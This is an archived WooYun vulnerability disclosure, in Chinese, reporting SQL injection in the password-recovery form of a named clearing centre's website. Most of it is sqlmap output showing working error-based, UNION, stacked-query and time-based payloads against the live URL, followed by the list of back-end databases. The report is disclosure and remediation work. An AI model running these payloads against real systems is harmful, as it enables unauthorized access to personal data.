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缺陷编号：wooyun-2014-082513

漏洞标题：农信银清算中心某重要系统SQL注入

相关厂商：农信银清算中心

漏洞作者： 路人甲

提交时间：2014-11-10 17:12

修复时间：2014-12-25 17:14

公开时间：2014-12-25 17:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2014-11-10： 细节已通知厂商并且等待厂商处理中
2014-11-14： 厂商已经确认，细节仅向厂商公开
2014-11-24： 细节向核心白帽子及相关领域专家公开
2014-12-04： 细节向普通白帽子公开
2014-12-14： 细节向实习白帽子公开
2014-12-25： 细节向公众公开

简要描述：

农信银清算中心某重要系统SQL注入

详细说明：

点击忘记密码：
漏洞url：http://www.nxyqs.com/RecoverPasswd.aspx


农信银1.jpg


localhost:sqlmap XXXXXXXX$ python sqlmap.py -r nxy.txt --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:58:13
[11:58:13] [INFO] parsing HTTP request from 'nxy.txt'
[11:58:13] [INFO] resuming back-end DBMS 'microsoft sql server' 
[11:58:13] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: txtCard
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: txtName=1&txtCard=1' AND 9152=CONVERT(INT,(SELECT CHAR(113)+CHAR(101)+CHAR(107)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (9152=9152) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(110)+CHAR(121)+CHAR(113))) AND 'DYxM'='DYxM
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: txtName=1&txtCard=1' UNION ALL SELECT CHAR(113)+CHAR(101)+CHAR(107)+CHAR(102)+CHAR(113)+CHAR(118)+CHAR(87)+CHAR(89)+CHAR(120)+CHAR(119)+CHAR(68)+CHAR(65)+CHAR(107)+CHAR(66)+CHAR(88)+CHAR(113)+CHAR(110)+CHAR(110)+CHAR(121)+CHAR(113)-- 
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: txtName=1&txtCard=1'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: txtName=1&txtCard=1' WAITFOR DELAY '0:0:5'--
Place: POST
Parameter: txtName
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: txtName=1''''' UNION ALL SELECT CHAR(113)+CHAR(101)+CHAR(107)+CHAR(102)+CHAR(113)+CHAR(117)+CHAR(69)+CHAR(65)+CHAR(69)+CHAR(84)+CHAR(90)+CHAR(72)+CHAR(65)+CHAR(89)+CHAR(117)+CHAR(113)+CHAR(110)+CHAR(110)+CHAR(121)+CHAR(113)-- &txtCard=d1'''''''''
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: txtName=1'''''; WAITFOR DELAY '0:0:5'--&txtCard=d1'''''''''
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: txtName=1''''' WAITFOR DELAY '0:0:5'--&txtCard=d1'''''''''
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: txtCard, type: Single quoted string (default)
[1] place: POST, parameter: txtName, type: Unescaped numeric
[q] Quit
> 0
[11:58:16] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[11:58:16] [INFO] fetching database names
[11:58:16] [INFO] the SQL query used returns 10 entries
[11:58:16] [INFO] resumed: "dvbbs8"
[11:58:16] [INFO] resumed: "ecell6"
[11:58:16] [INFO] resumed: "Exam1"
[11:58:16] [INFO] resumed: "master"
[11:58:16] [INFO] resumed: "model"
[11:58:16] [INFO] resumed: "msdb"
[11:58:16] [INFO] resumed: "ReportServer"
[11:58:16] [INFO] resumed: "ReportServerTempDB"
[11:58:16] [INFO] resumed: "sqlnexus"
[11:58:16] [INFO] resumed: "tempdb"
available databases [10]:                                                      
[*] dvbbs8
[*] ecell6
[*] Exam1
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] sqlnexus
[*] tempdb

漏洞证明：

txtName=1&txtCard=1' 过滤不严导致SQL注入，其中含大量的农信社培训学员数据。


农信银2.jpg

修复方案：

严格过滤，检查输入输出。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-11-14 14:54

厂商回复：

最新状态：

暂无